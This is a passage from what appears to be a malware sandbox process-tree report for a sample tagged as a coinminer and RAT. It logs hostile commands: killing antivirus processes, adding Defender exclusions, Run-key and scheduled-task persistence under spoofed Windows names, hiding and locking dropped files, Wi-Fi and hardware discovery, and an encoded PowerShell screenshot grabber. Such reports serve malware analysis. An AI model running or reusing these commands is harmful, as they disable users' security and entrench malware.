      taskkill /F /IM SecurityHealthService.exe
      4⤵
      PID:4788
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:4140
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
      4⤵
      Views/modifies file attributes
      PID:5496
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avastui.exe
      4⤵
      Kills process with taskkill
      PID:3240
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\MicrosoftEdgeUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:2536
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
      4⤵
      Modifies registry key
      PID:5524
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM AvastSvc.exe
      4⤵
      Kills process with taskkill
      PID:2444
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc ONLOGON /rl HIGHEST /tn MicrosoftEdgeUpdateTaskMachineCore /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe\"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6016
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      4⤵
      PID:2556
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
      4⤵
      Modifies registry key
      PID:2468
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avscan.exe
      4⤵
      Kills process with taskkill
      PID:5584
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
      4⤵
      System Time Discovery
      Views/modifies file attributes
      PID:1652
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
      4⤵
      System Time Discovery
      Modifies registry key
      PID:5672
  - - C:\Windows\system32\icacls.exe
      icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
      4⤵
      Modifies file permissions
      PID:1428
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe"
      4⤵
      Views/modifies file attributes
      PID:5920
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM avgui.exe
      4⤵
      PID:4712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3184
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4576
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
      4⤵
      System Time Discovery
      Modifies registry key
      PID:4272
  - - C:\Windows\system32\icacls.exe
      icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
      4⤵
      Modifies file permissions
      PID:5532
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM AVGSvc.exe
      4⤵
      Kills process with taskkill
      PID:2436
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
      4⤵
      Views/modifies file attributes
      PID:3476
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:4864
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM bdagent.exe
      4⤵
      PID:2736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      PID:1700
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ot4fwnpc\ot4fwnpc.cmdline"
        5⤵
        
        PID:840
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF7F.tmp" "c:\Users\Admin\AppData\Local\Temp\ot4fwnpc\CSC19F0B14ACB3C4C9AA249CE9FAA811B2F.TMP"
        6⤵
        
        PID:4156
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:5648
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vsserv.exe
      4⤵
      Kills process with taskkill
      PID:4932
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
      4⤵
      Views/modifies file attributes
      PID:2980
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM ekrn.exe
      4⤵
      Kills process with taskkill
      PID:5108
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      Modifies registry key
      PID:1316
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
      4⤵
      PID:3620
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM egui.exe
      4⤵
      Kills process with taskkill
      PID:4408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3104
- - C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    3⤵
    PID:952
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftWMIHost /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\WMI\WmiPrvSE.exe --wdog 0 C:\Users\Admin\AppData\Local\Temp\2026-08-13_6b2b2e96c270f0fa50ebbd03d5ae6329_coinminer_dosia_poet-rat_quasar-rat_snatch.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4468
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5488
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM NisSrv.exe
  2⤵
  - Kills process with taskkill
  PID:916
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Protect\RuntimeBroker.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4520
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe"
  2⤵
  - Creates a file in the Startup directory
  - Views/modifies file attributes
  PID:3564
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:604
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SecurityHealthService.exe
  2⤵
  PID:1436
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe"
  2⤵
  - Creates a file in the Startup directory
  - Views/modifies file attributes
  PID:5960
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
  2⤵
  - System Time Discovery
  - Views/modifies file attributes
  PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NonInteractive -WindowStyle Hidden -Command "Set-MpPreference -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1404
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3056
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /deny *S-1-1-0:(DE)(DC)(WD) /T /C
  2⤵
  - Modifies file permissions
  PID:1240
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
  2⤵
  - Adds Run key to start application
  - System Time Discovery
  - Modifies registry key
  PID:4696
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM avastui.exe
  2⤵
  - Kills process with taskkill
  PID:2460
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3312
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /deny *S-1-5-18:(DE)(DC)(WD) /T /C
  2⤵
  - Modifies file permissions
  PID:5920
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1116
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
  2⤵
  - Adds Run key to start application
  - System Time Discovery
  - Modifies registry key
  PID:5708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2488
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM AvastSvc.exe
  2⤵
  - Kills process with taskkill
  PID:5928
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
  2⤵
  PID:4616
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM avscan.exe
  2⤵
  PID:432
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:916
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe
  2⤵
  - System Time Discovery
  - Views/modifies file attributes
  PID:3064
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5624
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
  2⤵
  - Adds Run key to start application
  - System Time Discovery
  - Modifies registry key
  PID:5880
- C:\Windows\system32\icacls.exe
  icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-1-0:(DE)(DC)(WD) /T /C
  2⤵
  - Modifies file permissions
  PID:1052
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3280
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM avgui.exe
  2⤵
  - Kills process with taskkill
  PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1436
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\shnsyt3e\shnsyt3e.cmdline"
    3⤵
    PID:4904
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9725.tmp" "c:\Users\Admin\AppData\Local\Temp\shnsyt3e\CSC7EB1FB589EF5426CBD2745C234DAA46.TMP"
      4⤵
      PID:1120
- C:\Windows\system32\icacls.exe
  icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /deny *S-1-5-18:(DE)(DC)(WD) /T /C
  2⤵
  - Modifies file permissions
  PID:1016
- C:\Windows\system32\reg.exe
  reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\RuntimeBroker.exe /f
  2⤵
  - Adds Run key to start application
  - System Time Discovery
  PID:564
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
  2⤵
  - Views/modifies file attributes
  PID:3716
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM AVGSvc.exe
  2⤵
  - Kills process with taskkill
  PID:1136
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe
  2⤵
  - Views/modifies file attributes
  PID:1096
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MS_RuntimeHostSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\RuntimeHostSvc.exe /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4480
- - C:\Windows\System32\Conhost.exe
